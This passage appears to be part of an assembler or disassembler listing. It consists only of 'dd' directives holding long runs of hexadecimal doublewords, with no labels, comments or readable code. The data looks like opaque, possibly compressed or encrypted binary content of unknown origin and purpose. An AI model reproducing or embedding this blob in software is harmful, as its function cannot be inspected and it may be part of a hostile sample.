8E46161Eh, 6A019ED5h, 57DCEC3Bh, 0C7F4787Ch, 3B47B6Fh dd 0DDBC537Eh, 82A97672h, 62C2FD21h, 0E10D16A4h, 37F7D004h dd 8084D849h, 0F3691891h, 9DC9943h, 0B9749BB5h, 38768400h dd 730BF0Bh, 3C0E781Fh, 8C9F3235h, 4C16BC70h, 7080AC44h dd 127EFE0Ch, 0CF796C25h, 0C02C88A8h, 0FA1B1DA5h, 5650A100h dd 0A0CEAE18h, 6ECB26Ch, 78208453h, 0E416B990h, 0EC4E9317h dd 185C8DFAh, 0FEB81C79h, 0BBD6607h, 2B82CAFh, 2A6FE87Ch dd 0E41C6B00h, 129BFA5Ah, 21A14CA8h, 88540A3Ch, 17142F88h dd 23403F72h, 0BEFF9EFh, 0B9809CC4h, 0B02F4A50h, 2D007423h dd 0EB914248h, 0CF0B09A6h, 0C0E86E84h, 0B0844317h, 143B2060h dd 0FFA09110h, 0E8271848h, 0F208CC99h, 843BDC01h, 1FEC443Ah dd 6B784706h, 25B02028h, 88A2260Bh, 0E6007A63h, 800A7F3Fh dd 69CF14FAh, 9F829C59h, 86767378h, 9418314h, 0E9B4B251h dd 1A70660Ch, 4CD1EB4Bh, 0C501AA18h, 388096B6h, 81AB68C0h dd 53FB25C7h, 82C5E06Bh, 4C0A715Ch, 0E0048A13h, 0C10083C3h dd 1EE9ED0Eh, 34588748h, 0CE8195Dh, 0AD5B67C0h, 8F47BA3Ah dd 82F77C85h, 0EC0321F8h, 0E2812875h, 0F0FD5DBCh, 7C89E15Ah dd 0C33A0078h, 470BBE1Dh, 0E4C71682h, 0F5A42163h, 0B440064Ah dd 0BA020F74h, 1844B786h, 5479D11Fh, 0F2D7B1C0h, 96178810h dd 94668B5Ch, 0AFE9586Bh, 4688506Ah, 6760AAC5h, 68D20818h dd 2848A45Bh, 3193C334h, 0F890367Ah, 0D0620E61h, 0F140A16h dd 0F926C33Fh, 3C81DB25h, 48FB7E20h, 6D130F88h, 0C40AAEF7h dd 82805473h, 1FE6C410h, 0D8FCA98Dh, 0F3021C32h, 0F51DC622h dd 6073502Ch, 9749603Dh, 20B267FCh, 684B1CBCh, 53AF0DD0h dd 0A912346Eh, 5A5443D2h, 7126A618h, 0B51460D7h, 0EAA00EF0h dd 15175CA8h, 896CA804h, 4E85D0B4h, 0C4F40C2Ch, 0F5487B50h dd 7F780008h, 0F7D57936h, 9CB40DD0h, 0A369D690h, 8C2350C1h dd 70F0D512h, 91896738h, 0A9EF5610h, 0F0260C8Ch, 4E491899h dd 9E4B79C4h, 8E3C8A50h, 9FA61F5Ch, 106419BBh, 0E120240Fh dd 10A8614Ch, 0E60C3047h, 0F3A92910h, 930F5C16h, 7C75C880h dd 3C2DF980h, 843940DFh, 80C2DB32h, 2190C71Fh, 530B13FDh dd 248FB004h, 0DCDF0243h, 0E30D4113h, 1AF4C804h, 0C8068309h dd 0AB0E61A6h, 408FCAE8h, 0EFB091DBh, 5B84A17Eh, 0D62B96DCh dd 687A78h, 43E2ECE9h, 7DD45C3Bh, 0BADC26A2h, 0D8B18304h dd 3100F9FAh, 244E64ECh, 9E1FEA2h, 0ED36266Bh, 9CC44845h dd 0EE78E067h, 6005D482h, 90187E7Dh, 0D1B5C040h, 0F4C16A33h dd 11BF3EFEh, 7600F322h, 0AC77871Fh, 780708h, 94D941ADh dd 95925AEEh, 74292460h, 0BA8C652h, 16B8769h, 68767062h dd 325465Eh, 8AA67280h, 835099ADh, 44F4AC21h, 0BD1C7F5h dd 9173C5A7h, 0F2A41030h, 67175E20h, 97933149h, 855AF299h dd 3ADC7708h, 448648D0h, 0E1E18B3h, 0F9D7306Eh, 0DC5010F9h dd 54C8496Fh, 13769C0Ah, 2060A8CCh, 9A542068h, 0A0A0B80Ch dd 43C6AB6h, 10605A2Dh, 0F664E17Fh, 27F200E6h, 0A9B59BA1h dd 590726E0h, 914B546Ch, 0BA80C7C0h, 10040403h, 0C12B6D83h dd 203E2E60h, 62097ACCh, 0A133E87Eh, 0B4A685C4h, 578081F2h dd 202DB85Ah, 0F0881409h, 0BBF3060h, 606C3751h, 1C443CC0h dd 32F700C9h, 0BFF859D8h, 1000903h, 78E5E816h, 523CE1h dd 92828FA9h, 45E243DDh, 448F300h, 0CFB35C0Dh, 65682667h dd 6BBC087Ch, 570AF411h, 4887EAh, 0D5FB794h, 615BB89Fh dd 0FB813090h, 1BB48804h, 172E3A00h, 58A07C8Fh, 9B6B03C2h dd 94AEE1A1h, 0BA4C1E5h, 0E19C7377h, 6C08F74Fh, 0DA219542h dd 79201C7Ah, 20008C7Bh, 0F9045AAAh, 48EA93C9h, 0C817AC49h dd 0DC782137h, 5F1424A2h, 8C062C9Ah, 8B244AB0h, 45B5311h dd 0BE6B56F0h, 6781E700h, 137FF1C4h, 77F002A4h, 72EFCD62h dd 64000C89h, 0CE5476EEh, 133DE70Ch, 1E6718BEh, 985E5BCh dd 6707EACFh, 0C077C7CEh, 5883E3D2h, 3E67B3Eh, 80EEC069h dd 84F4A063h, 0EBD20113h, 0F67B5B85h, 0E8288079h, 0F1C75F80h dd 0C95C0388h, 0CA5631E9h, 89664000h, 0BC5B65A2h, 137C03F0h dd 2186F1D4h, 0C01B8FD1h, 317CA27Bh, 0F28304A0h, 0F5CE80C7h dd 0D4AF36C0h, 9E1E065Dh, 796180A2h, 67CE5C3Ch, 6AC6E671h dd 0E18AE918h, 83086C81h, 0BD637AEEh, 0BF6572E0h, 0B038AB51h dd 58678880h, 0B5F548CDh, 3088C930h, 840CA77Bh, 0E8C568FDh dd 5AED18BEh, 134E3841h, 40E68032h, 56A0809Eh, 766D1C6h dd 31BF7B47h, 1E8C3018h, 0F10CCD43h, 0E1A93C74h, 6736E898h dd 30617857h, 4860E5CAh dd 7520AF43h, 5C89C701h, 135FCBCFh, 0FAA0000Ah, 0D7AA677Ah dd 471CF965h, 7FEBAB1Fh, 2D2423Eh, 451C18ECh, 88133079h dd 98927431h, 6C0C206Eh, 798152B6h, 0D91F424h, 0B712F0F2h dd 80086B18h, 20FF6188h, 348905BBh, 584248B9h, 27DB1080h dd 0A41A9384h, 0B05B3E70h, 0A2E4AC88h, 2174CB2Ch, 0F20622A1h dd 9890310h, 8274A781h, 3F650048h, 58680CB7h, 0CCB18458h dd 84506033h, 92700456h, 0A9DC2198h, 0F528B872h, 8758C868h dd 98B1904Dh, 1027D660h, 0D073C781h, 3089459h, 13705039h dd 0E6918521h, 1187E8ACh, 8754AC7Eh, 18A96610h, 1EFE80Ch dd 0BC642544h, 54CF1605h, 2204E26Fh, 22C490A7h, 0B0B08BCCh dd 167E0444h, 0C13647F0h, 7BEBD444h, 6ADC8004h, 17E888D0h dd 4819D6Fh, 808F459Ch, 571E3328h, 6CF07C4Dh, 4804193h dd 67228043h, 6C909C08h, 45DE03A7h, 0B907E5Eh, 0ACABE097h dd 24A0F8C2h, 85E643D5h, 4C5510B0h, 231FE098h, 94881861h dd 0AC78AFB6h, 0B07FE015h, 4040F578h, 12DB1E76h, 34E4F69Ch dd 48446704h, 0DC54E844h, 546878A1h, 7388C184h, 0DF021007h dd 9418B2EAh, 4689128Ch, 917C1048h, 45818DAh, 0F032840Ch dd 0E00C7419h, 691C848Ah, 484E7A62h, 0BDDF6720h, 8C0301Ah dd 516FEC7Fh, 50821140h, 3C446E8Fh, 2710C8BEh, 10126278h dd 0D03143Fh, 0CCF9F5D3h, 0B0E6A801h, 0ECD44EAEh, 83F1C3Eh dd 0CA47800Eh, 6AFC9106h, 12F4A81Fh, 24750045h, 0D0F69B98h dd 4070D8EEh, 0B451F70Bh, 8BFC59D9h, 287A076Ah, 1C747006h dd 0A01072D7h, 986AE36Dh, 0ACE000CDh, 1D748611h, 6300D7B7h dd 0E4D091E6h, 177B45Ah, 6D2B3FB2h, 0E48F1959h, 1A051E74h dd 6A99C829h, 0B2F8A4h, 71779452h, 20DC120h, 75DC4C00h dd 0D1BD44E1h, 0FEE60192h, 6A701E67h, 0B04F7E03h, 945372F9h dd 0DC331B00h, 60EF1Eh, 9FFF556Ah, 52EAB177h, 747C7100h dd 0E6F7FB05h, 0DD951273h, 11B4085Ch, 3C0EB280h, 49446FCDh dd 0FA0F1CAAh, 0C5EF21EAh, 20243120h, 8914C13Fh, 1FE2310h dd 0EBA0BEBBh, 0B428986Bh, 0AC03007Fh, 5EE7AAABh, 5F482E01h dd 1F4A0786h, 0E6D3174Bh, 42EB530h, 32EDC40Ch, 53FC0610h dd 48CA8714h, 2C540010h, 4AF1A494h, 0E0D11FEFh, 0BD4900A6h dd 3F5781CDh, 28674C7Fh, 0B6877848h, 402806C6h, 0E887ADA2h dd 0A538CC50h, 21B74933h, 22E23EAAh, 4E67A403h, 1818DB1Fh dd 0C339A1C8h, 6741C7DFh, 18BB866Eh, 0AF17FA18h, 64AEF139h dd 0C02651C8h, 0F30127F5h, 3FD0B105h, 7CC016EAh, 633CAE2h dd 0ACF1EB29h, 4F159118h, 78983D7Ah, 0BB009CF4h, 2527F5CBh dd 18DA2ADFh, 0E05E6B9Dh, 563AFB81h, 0AE2C3A73h, 193782E9h dd 0DF0F970Eh, 1C370028h, 0FA4540Ch, 5F202716h, 2A57809Fh dd 225234A7h, 30C2339h, 0B2F86F45h, 20080044h, 0E7A40872h dd 2A05E586h, 296A9DDFh, 0B8FC4C77h, 0EACE0A57h, 91E0E10Ch dd 7B521B7Ah, 862AF148h, 10F2F090h, 7A15AAF7h, 2200ACA8h dd 6FFC416Ch, 1703AEEFh, 9C279DA1h, 0B64800D4h, 10796BE5h dd 0E0A4EF70h, 873B5BE4h, 0AA970CEEh, 742418D6h, 210F675Fh dd 49DF8117h, 0DEB05029h, 4151A027h, 8031E188h, 0B5FB1E48h dd 1873CAA6h, 708209C8h, 1604664Ah, 216A9E1Fh, 15809B40h dd 6E78DEBDh, 0C831370Ch, 0FFC1B9h, 0EA21686Ch, 0E1D073B4h dd 0D12B4C14h, 0FC31229Ch, 0F1E40A28h, 8C90BCADh, 0D410F92Ah dd 0EA4088h, 75CBAB14h, 9A26DA6Dh, 2049A618h, 742A89C1h dd 4928F8C2h, 21127479h, 39C40FAh, 70B57550h, 408FB3A0h dd 1E8479CFh, 0A0839740h, 30FA42E9h, 0D2B0965Ch, 2B242FF9h dd 48112CE8h, 0C0E2AB1Fh, 4AE1FB1Fh, 6E01913Dh, 20A0F890h dd 0C055D7C4h, 80E21E00h, 0E0EA81A5h, 26820CEEh, 2C21E827h dd 6B341C92h, 885E594Fh, 0BC11771Bh, 78728FC0h, 0CA64887h dd 92D40829h, 0E7A84D10h, 0A6605851h, 21C014ECh, 993CAD73h dd 50297706h, 156F0C0Fh, 0D089C818h, 0F56C2004h, 0AB208028h dd 0EB00935Fh, 5D64B23Fh, 15479CA9h, 1427D0B4h, 0AD6F8F81h dd 27304148h, 4CF00965h, 6235887h, 79A92531h, 22CF606Dh dd 50AA46C0h, 67198F2h, 0C8892BE0h, 0AB0091A5h, 0FC1D20E8h dd 9F9EEAEh, 0B0B2F1D5h, 31710411h, 0C2280B68h, 1D08E89Bh dd 1503AB2Ch, 521DA23h, 49F26059h, 83C04012h, 9B27D38Eh dd 0A761A060h, 4121C5Eh, 0E2719E99h, 4D1C8CA2h, 51FFC86h dd 0EEE958F6h, 7C980430h, 8440211Ch, 0E4211806h, 0B8C0081Dh dd 0F0312C44h, 0A2CA0185h, 8F833062h, 10001EDBh, 0E79E50D0h dd 3CCFAE4h, 86E1B31Ch, 8240AD6Dh, 0C93CA12Ch, 0F0C47C3Eh dd 9097E722h, 0C03D2A83h, 0F2A8542Dh, 6581C149h, 4B4F895h dd 23270492h, 81A048D0h, 0BB6170BDh, 0AAC44020h, 208C824h dd 0A7CF31A9h, 0AC600F66h, 790020E2h, 24592CB3h, 0B0EC926Ch dd 24AB7678h, 3C3CBC04h, 3D40B081h, 6132F524h, 9440444h dd 0BC8E0728h, 73EA31F8h, 0B1ECBD18h, 2637A880h, 1F6C0DD8h dd 890C0C6Fh, 2710B618h, 0A80412DCh, 99ECADh, 0E89E4352h dd 81CE056Fh, 21A2B09Dh, 0BE19F694h, 0A8801E30h, 98543813h dd 989310B4h, 2F101862h, 0C8308D00h, 0F8EC5907h, 0C2D5F10h dd 0E8EE160Eh, 65BA0149h, 8A475783h, 0C4C08FBEh, 0CDB3A077h dd 0DFF7890Eh, 1E08A129h, 84A390C0h, 0D248F964h, 0F4249BACh dd 0B68AFE00h, 1D5D0E9Bh, 0C008ADF0h, 0EE3F6429h, 6B1D5C01h dd 0C83DF60h, 8721B830h, 10F2E9B0h, 20BC1E34h, 6D7300FFh dd 58D9DF4Dh, 0E896EF00h, 3353A092h, 0B8E2F8h, 9156E6D6h dd 7363D86Bh, 1C3DBC01h, 9D1A1E5Dh, 0E8B61441h, 0D4321101h dd 41797F3Bh, 350099FAh, 3D8C02A7h, 0D77DC2h, 8BEB9A19h dd 34F8E3DBh, 0EAA5B402h, 60A133ECh, 73646h, 6A087DF9h dd 591BED35h, 53C24A00h, 49BCE05Eh, 0FB16071Ch, 609A899Bh dd 2AB078A5h, 503F4E02h, 802CB668h, 959666C4h, 8AF6B7h dd 9C738B89h, 71657D7Bh, 38B09007h, 8178485h, 9E52EA50h dd 45B60003h, 36CED479h, 0C100E7ABh, 58D57844h, 0D666BAh dd 52B6D30Ch, 8B4056CFh, 2D76112Ch, 0BEE64B02h, 0B9480E5h dd 195C39h, 48038F3Ah, 30D2D4AFh, 8E407207h, 0B1078264h dd 7F8DEFE0h, 0FA790F1Ah, 38035E25h, 0DAF0F13Bh, 54F0B79Ch dd 0F9914E00h, 46CF2DD2h, 2A4002F7h, 0A997AE3Bh, 0D010860h dd 0C48B4E06h, 81474Ch, 8672A775h, 2F7921C7h, 28EF9B3Ah dd 0FC00D85Fh, 0A57AF89Ah, 492BDCh, 0F6806853h, 1DEA016h dd 2E88E500h, 7483BA6Dh, 367C20h, 4387C54h, 0B59F7B64h dd 4D375A01h, 2E272AEh, 460820h, 4E05DDBAh, 6E629B2Dh dd 0F5ED8D00h, 0A1773F60h, 7E8430E4h, 7448BF80h, 2C69C0Fh dd 0F2D587ECh, 0BA302327h, 72A3E9EBh, 8D1C0FE5h, 2129AAFAh dd 0E0B53C80h, 9E00DD3Bh, 0AECD0B70h, 0DB2D76h, 0C6028798h dd 0D2066BA7h, 0EAFFC700h, 0D34B7701h, 404A000Ch, 434FF9E0h dd 7D006BEBh, 93B65455h, 7F7EB856h, 19D90020h, 94018A96h dd 773C1AF1h, 885860D4h, 0C3B1E5h, 4EA3F9C8h, 9132C9F0h dd 8F3BD102h, 806F3DA9h, 6DEA96D0h, 0D4BC3975h, 0C7F8DD1Eh dd 8317B2h, 4B0DD211h, 46B54Ch, 39D729B9h, 7BF8FFh, 381CE704h dd 99F1928Dh, 869AD802h, 61548FFDh, 0D5F8762Ch, 60E1396h dd 0F312F9h dd 2B2DB634h, 0D9007E9Fh, 874AE2EFh, 74B8E1h, 43DBE6F0h dd 6024AE98h, 9C76E500h, 2B6220F7h, 731128C7h, 0C62E0F08h dd 3CC0EB12h, 9AB73D74h, 0C971753Bh, 5CC10028h, 97FECE78h dd 24EF0BE7h, 0DB814609h, 30E922B0h, 0B10FAAA4h, 0C3BE35D0h dd 0A53E08h, 475A6911h, 647BCA17h, 0ED001090h, 81A684Eh dd 7F450Dh, 0F8D3903Ah, 31C9CEA2h, 0FC595A00h, 29B8E473h dd 789243Bh, 2C248E70h, 0AE6C4012h, 11D6D4CCh, 0F5B2100h dd 0C083990Bh, 50310028h, 0A774F667h, 4CFEEA36h, 0CDBC7600h dd 0B0D2482Eh, 9C3900E2h, 954DAB70h, 143966BDh, 9E35001Bh dd 3AF2DA11h, 0E1AC079Bh, 0E0C351F9h, 0DEBBD66Bh, 77EB283Eh dd 0FDA91D00h, 1A1947E7h, 7A460EB4h, 59E59EC2h, 22C890E8h dd 9046168h, 27787406h, 3DFC6C80h, 0A2A0F5Fh, 61231CA4h dd 1947720h, 48800421h, 0AFF4FCh, 820A1A58h, 86EB2446h dd 5F335100h, 447B5DBBh, 0CB8D0A57h, 0CC5EBEh, 3E56BC3h dd 770156D7h, 6ADFC8D1h, 6C242A3Fh, 8566022Ch, 0EDBE331Dh dd 0C06BA0A0h, 900050CDh, 4421FDC6h, 98F0B5h, 9B943EC4h dd 82410CBAh, 1D95693Ch, 0BD407503h, 0BEDE5FDh, 0E228017Ah dd 0F3E31AB7h, 87347111h, 873CB428h, 552BC370h, 366700CEh dd 0E2628E88h, 320031DCh, 0F5E16CD4h, 0A44E9A4h, 58CA3A86h dd 47E17D0h, 0C010C911h, 0FFF0576h, 5EA97318h, 4DE8536h dd 0C1964F66h, 876880E0h, 8F124C8Eh, 0C44005C9h, 3F17775Fh dd 0B4DE07Ah, 0E03E7111h, 4CC34800h, 0C91F652Fh, 5015C0Ah dd 9E927A56h, 0B7E0C0DFh, 0B8FE0024h, 677B913Dh, 2200C116h dd 483A81F2h, 0E2885DBEh, 24530028h, 38CC8DDh, 3D76FD23h dd 0BB7AAA00h, 0F4CC9140h, 819F0790h, 0B11653C6h, 0D8207CCFh dd 0C8012264h, 0BEA14DDAh, 0D0F483F9h, 7D75B1h, 6B3BEF5Ah dd 9735FAA0h, 94FD1901h, 0E1A4655Ch, 8B40EFEFh, 2C23C5h dd 0A6696FF4h, 75ABC489h, 651D6EF2h, 0E00B19Bh, 774878C6h dd 0E61A00CAh, 3350C890h, 8300CD13h, 8CB3A04Bh, 0EC0AB05Fh dd 80F7272Dh, 0DB314000h, 5E004B06h, 2E7B16ABh, 4D10BDh dd 4409D668h, 7C21CE5Fh, 0BF808B00h, 0D80FED0Eh, 7207B01h dd 13F112C9h, 221F00DCh, 2D2C4D53h, 0EF0093FFh, 5AB2C8B6h dd 461003D6h, 0D700F87h, 0B44323F8h, 0C114A858h, 0D51FF5C7h dd 0B88953CCh, 0FC4138C1h, 0FA5748Bh, 0FB487403h, 2C63B109h dd 0D26420FDh, 6E99F39h, 9D937D55h, 13001975h, 5FD943D8h dd 2A134CDh, 0D430CFC8h, 60503C93h, 589FE92Eh, 18DE7F40h dd 0BD00072h, 0D20F0A1Dh, 81001576h, 429C1970h, 582FA2C7h dd 0CF055C60h, 904D77E7h, 0B86D3048h, 8A8C402Eh, 6A2B2000h dd 9347A0h, 291FD772h, 90459E68h, 1CD46F14h, 70910008h dd 692A1DD5h, 31466F9Fh, 0CBA801A0h, 1B607167h, 0EAC3A261h dd 872307AFh, 4713A922h, 98E3890Eh, 0E086F3C1h, 11C01117h dd 0CE418703h, 0C390040h, 0DB6FDEB1h, 26072C82h, 25D45F92h dd 0EBBE8140h, 0A0280089h, 2EE452D5h, 0AB601A8Dh, 1B6C6540h dd 2C93002Ah, 0A9CA96A8h, 0FC2423B5h, 1024ED28h, 0AB9C541Fh dd 8844ACA7h, 0C1A90A14h, 130CA52Bh, 0C088C4B1h, 0CDB2658h dd 0FBC45300h, 0A0CDB3F2h, 0C06D38BEh, 9C903C80h, 91929822h dd 3F29063Bh, 0CA810BE8h, 37B84A8Ah, 0CB8F0A04h, 564989A8h dd 547B8E0h, 0B004C44Ah, 0FF44F2D3h, 690244F4h, 26614703h dd 4DF2921h, 1F4B5FB5h, 8A3DA0A2h, 0E179C7h, 58B1F79Bh dd 51DBC984h, 0B3009D70h, 0F6D87549h, 0E6A5BDCh, 0BD53ABA9h dd 0CE845CE0h, 97044FACh, 0E5DDBBCh, 0D75A60C1h, 0FAA420h dd 574EE84h, 2F41613Ah, 78F83400h, 0EACFEDCh, 103060A2h dd 0F1DD0657h, 0BEA92D00h, 0DC8A4ECFh, 640B00D3h, 0F27509A3h dd 0A204E325h, 88081C65h, 4A680CF4h, 69E800DAh, 23FCF13Ch dd 166C7F22h, 5399E8h, 31514E2Eh, 5801DFF5h, 0A0BD7CF1h dd 0B448B27Bh, 435F021Dh, 71EB9EBFh, 0F033450h, 0D8E9E70Ah dd 2439053Ch, 0C3733856h, 40F815CBh, 5106C554h, 0DF03DBABh dd 0A7C10204h, 5FF88D34h, 6C394C60h, 4951FD00h, 3825E2B3h dd 26A30993h, 36006A83h, 890A6C9Ah, 6DB5EA1Dh, 827A7C0h dd 0F98D93h, 4856D133h, 4260AABCh, 23581F0Fh, 8074072h dd 1EB6D940h, 53E96CC1h, 0C5C00314h, 0C2C3503Fh, 0F1D1900h dd 80DD4F1Ah, 1C8116FCh, 56F448E1h, 7AC7CE63h, 9E7EE0h dd 7659ECEAh, 1008D531h, 0B8F840EFh, 0FC009977h, 6BE9927Eh dd 0F08F1309h, 0F53800C7h, 399D7056h, 0ACEE2B4Ah, 751E1403h dd 1499BACAh, 0B43325A4h, 0E4A0DE25h, 0EC040122h, 36131417h dd 0F189C05Ch, 90A0871Dh, 0ECC96214h, 174C11FCh, 1222CF67h dd 0E1F443BDh, 60FFDF21h, 66DAB6D3h, 26E8BF0Ch, 4892E022h dd 56003C75h, 282EB16Eh, 4090259Ah, 78FED3E2h, 939F9513h dd 3060BC45h, 0B9FFF4D0h, 758F0C43h, 0A6311A65h, 78074E7Bh dd 64768CCDh, 5D000C0Ah, 542861D2h, 5165005Bh, 7581418Fh dd 7A0EDABCh, 35A1A08h, 93600559h, 1CBC709h, 0A9D10AB6h dd 0E810E0h, 0C2E76353h, 0E3B6C005h, 0EB6A4C04h, 0BC80BEE4h dd 60B5936Fh, 71C4905Ah, 0CC074883h, 7EA9987Ah, 6E184BA0h dd 0ECC24D2Dh, 0A84C4900h, 97FC1270h, 52424002h, 800C6EAAh dd 673B39D8h, 736500A3h, 0B3953F2Ch, 61000727h, 0AE33EC96h dd 0FF1FABh, 0B7F1995Fh, 9DF26722h, 8400C8B8h, 0ADFBBE2Dh dd 8F875Bh, 37CD2471h, 0D9B653F6h, 0BCA89AB0h, 89006422h dd 8B84E7B1h, 54BF01C1h, 0FAB04Eh, 8E865AACh, 31550472h dd 7EB11E00h, 66AE4D22h, 0C79500A6h, 62DA7F1Ch, 0AD1FD638h dd 1CAECC9Ah, 0D7659F00h, 0E6CBEh, 0C4FF8E16h, 709C27DEh dd 20C66A15h, 2A2C02F8h, 40E017F5h, 0DB5D09h, 491471B6h dd 0D774B9A3h, 0C8EA3590h, 66B2C700h, 0F08BF2Ch, 70120050h dd 0F8FF1C43h, 5A5953C0h, 98A00B0h, 0E281CCACh, 980A00D5h dd 27B4D652h, 3B2E0682h, 5C3A9162h, 15540060h, 73D87BA6h dd 1CDE0063h, 0EEE0FC5h, 0A500FDD7h, 4E1A6019h, 3F07BCBEh dd 5ABA8B48h, 2079C680h, 0A401F97h, 10C5BB30h, 74F9132h dd 0B6D5BDFDh, 37C0336Bh, 48C086DAh, 3503727Bh, 53EF0DD0h dd 61DFF09Bh, 1297FEE4h, 107312h, 0A6800204h, 95007DDDh dd 0E5F372ABh, 0CCAD29h, 19DA3099h, 795EBF1Ah, 0A351CF02h dd 0E050386Dh, 9ACD74h, 0F498DE99h, 0C2A7D6BFh, 9C66C800h dd 0FF383CB4h, 3D0FCADh, 69ED311Bh, 0E980C27Fh, 337D11F3h dd 0D62AB81Fh, 43EF5F80h, 0C146A3C6h, 0E6D02068h, 40D87197h dd 0B1523AECh, 65DD6F00h, 0B54BB6D6h, 125702E0h, 0AE1FE4A6h dd 7ECF0360h, 0EA84A550h, 63EB550Fh, 5C80528Dh, 75A3029h dd 0B7564109h, 0C09FA492h, 7D65FAE4h, 0DB7B8DFEh, 32FB2E00h dd 42885DA8h, 6BB30BE1h, 420F31Fh, 9138B1CFh, 688C38CBh dd 4679CD0h, 0BC72EDD9h, 3E9CC80Dh, 9DB5D300h, 8D51E28Fh dd 0D8BE24EDh, 27760080h, 23FDF2DDh, 98AE5207h, 2C80E899h dd 38C7063Eh, 2A00D8A9h, 4DCE561Fh, 5019571Ch, 0F4B85344h dd 10994DCh, 78831A7Ch, 0D4CE0D40h, 62602B8Ch, 0C8CA7AA9h dd 0DEB3004Bh, 0B0A73FBCh, 790071CFh, 0AC44C3C5h, 4C78D7D9h dd 505059D4h, 0F9920017h, 0A7B2865h, 8E011B37h, 52964F8h dd 24E97A46h, 0BEA430h dd 0EA2FAA7Bh, 0CB437D3Dh, 0B40E177Ch, 8A34CF6Dh, 0C003F06Eh dd 0D0FA26DEh, 1639D66Ah, 274A35Ch, 5F273430h, 0E18A9CA0h dd 0B24E6B17h, 0EDDBF840h, 38448E4h, 0EC77B7E2h, 0BAF0DFEAh dd 9413180Ah, 504A3634h, 6A000807h, 0C58F66A2h, 2547004Fh dd 5E19AB7h, 0D954A4A8h, 0FB004488h, 31920FDAh, 273B961h dd 9C637DF8h, 3C6024E8h, 88908498h, 0D3A770Fh, 6CB1A04Bh dd 0F23EBEDh, 0ACA3460Ch, 25E9EFE0h, 0A014470Ah, 60870ADh dd 71AEA148h, 0B2230B0h, 0A918F231h, 0CA2BBD39h, 75FF1C44h dd 0F7808420h, 0CA969D07h, 0F97646F4h, 0EB240E18h, 0A934D0Ch dd 0A18DD93h, 24912Ch, 2286EBAFh, 87090BA9h, 8985C814h dd 2AD580EDh, 0A057A5h, 2B2193E8h, 0C0526769h, 0D472B40Eh dd 7CD7A09Fh, 6F847Eh, 6D775980h, 0AB29FB3Ch, 784F2C00h dd 0A2254D43h, 2176B5h, 0A5F5EA87h, 31B1EE68h, 268BA306h dd 2399A2Ah, 0A04D6F77h, 0A056EAE7h, 401BBABEh, 0E07E669Eh dd 0F83DE8B5h, 49EA80A1h, 57838ED6h, 66450046h, 6D74719Bh dd 6C4A2598h, 0C8689420h, 0E04B897Bh, 8600FADCh, 21F2DEE5h dd 4070C03h, 0E1B19922h, 6D4547D2h, 399E1C50h, 0D3A23E69h dd 0B49B270Ch, 0FC069221h, 0DC1E2624h, 4A6533B1h, 0C0E52548h dd 0E00BDAA6h, 0A97E8102h, 5CE28733h, 0E1B38238h, 2AC12F82h dd 60062BDDh, 5088FC3h, 0B4163CCDh, 3BB481A3h, 2B7080ACh dd 55F1988Ah, 2AFB00FFh, 7E78333Ah, 5100116Eh, 0F3967416h dd 386FD06h, 0F81F3492h, 0BAF06D17h, 0FB030E90h, 6030A246h dd 4F7198E7h, 429106E6h, 30532F19h, 0E4D8AE00h, 63967FC2h dd 0E17D0018h, 9CC8B026h, 0A0A01464h, 0C5000A81h, 0F9166BD2h dd 3741CCBh, 0CE426205h, 0C2E8077Dh, 39013B6Eh, 83CBC73Dh dd 6BE816F0h, 8B790005h, 0E4150B8Eh, 0C6000466h, 0FAE2CEDDh dd 3D8344Dh, 0AFD309ADh, 52A8376Eh, 451DDDD7h, 7700101Fh dd 6C8B4715h, 0E70D00ECh, 4805AFFh, 83256F63h, 0A9789750h dd 4533E7Ch, 9EC883FBh, 431000E1h, 0A43EEDAAh, 0F91F548Fh dd 73C981CFh, 0A0DC0E64h, 0B655BCD8h, 0EF603242h, 44104829h dd 8EC8963h, 7CE94417h, 61222284h, 9511E042h, 3B7021EAh dd 0BD141142h, 21E68811h, 5E560884h, 5C8E0890h, 0B8103F08h dd 4879DA84h, 0FF0A431Ch, 8AC5121h, 509470A8h, 0FB9D1150h dd 11F8E011h, 44286F4Ah, 8BF4E214h, 841D22A4h, 8217828h dd 10E812F6h, 8C896E4Ch, 0D1442608h, 5DA1C01Ch, 6604C448h dd 14F43802h, 0E0D63E56h, 0EA8FF4h, 0CF534F2Dh, 32E81FF9h dd 13BFAA00h, 892351Bh, 0B7421E28h, 8554400Bh, 7B2EABFDh dd 7EA45E01h, 0A5217820h, 0ECCC17E9h, 50EF0258h, 0CB5FB11h dd 6B00D4F8h, 325E76EAh, 5C104501h, 0A6019869h, 0EEA8EC30h dd 829CCBDh, 5CE1D60Eh, 124380C0h, 1D37FE9h, 0CBBC553Ch dd 0E561BE86h, 6795F8F9h, 0D700A8B8h, 99F0DCE1h, 3E7A65Dh dd 0F738D42Bh, 79C0B136h, 0DC1E9783h, 64409AB8h, 3DD12931h dd 0D8AA005Ch, 93B43512h, 6E247450h, 7E816C18h, 69ED68E9h dd 0D0DCD1BDh, 0F2DAD060h, 0DD00C283h, 31E304C8h, 0B4016h dd 0CE903A7Bh, 956B2815h, 992CCC00h, 0EAA8B4B5h, 27FE6Fh dd 37207C58h, 2AD0449Ch, 70B6D100h, 0A27AEACCh, 0FB4606BAh dd 0F85E3982h, 0FC280D0Fh, 0E29A8013h, 0F91D4D0h, 0FBF1998h dd 50D27A09h, 4E017501h, 88928A52h, 1C054C38h, 809D246Dh dd 47182D31h, 4CD1BC09h, 0AD98E08Bh, 145C187Eh, 0B485D8D4h dd 35DEB603h, 0A0D06C98h, 0EACE2A1h, 201DC644h, 0F2A05F0Fh dd 5721E40Ah, 534C9103h, 2CFFD2Fh, 23E9B840h, 0CE3E096h dd 70419781h, 2627A515h, 0C75CA03Bh, 123B5B2h, 7568A017h dd 405CF9CDh, 99A59C6h, 49032572h, 76C7AF9Eh, 0F43DA099h dd 0A2B01FDh, 1A6674C4h, 7FF8E063h, 1805BE1Ch, 98A4D4Eh dd 0C5500020h, 2B325A7h, 0C06AE90Ah, 5060AF22h, 0E00C339h dd 1ED36653h, 0C53683h, 9E5055F8h, 0F6476C31h, 63246907h dd 0B46187A9h, 0E8D89F57h, 0FA900068h, 0A8A35BB8h, 0A0469E7h dd 0EE467505h, 90307087h, 240774EAh, 8E543Ch, 6A015320h dd 0C602C15Bh, 8B393FD2h, 9100E02Bh, 8768C0F5h, 9D762C63h dd 0AAA5F400h, 2317B118h, 257407F2h, 30228D2Dh, 0F59DEF5Bh dd 0C6074709h, 485000D4h, 38BDDFB0h, 0C978F9h, 47AD9700h dd 9AB9FE5Fh, 0FD42E900h, 8A8B4128h, 954A76BFh, 0FC335C20h dd 0A70A6670h, 0E401A8B1h, 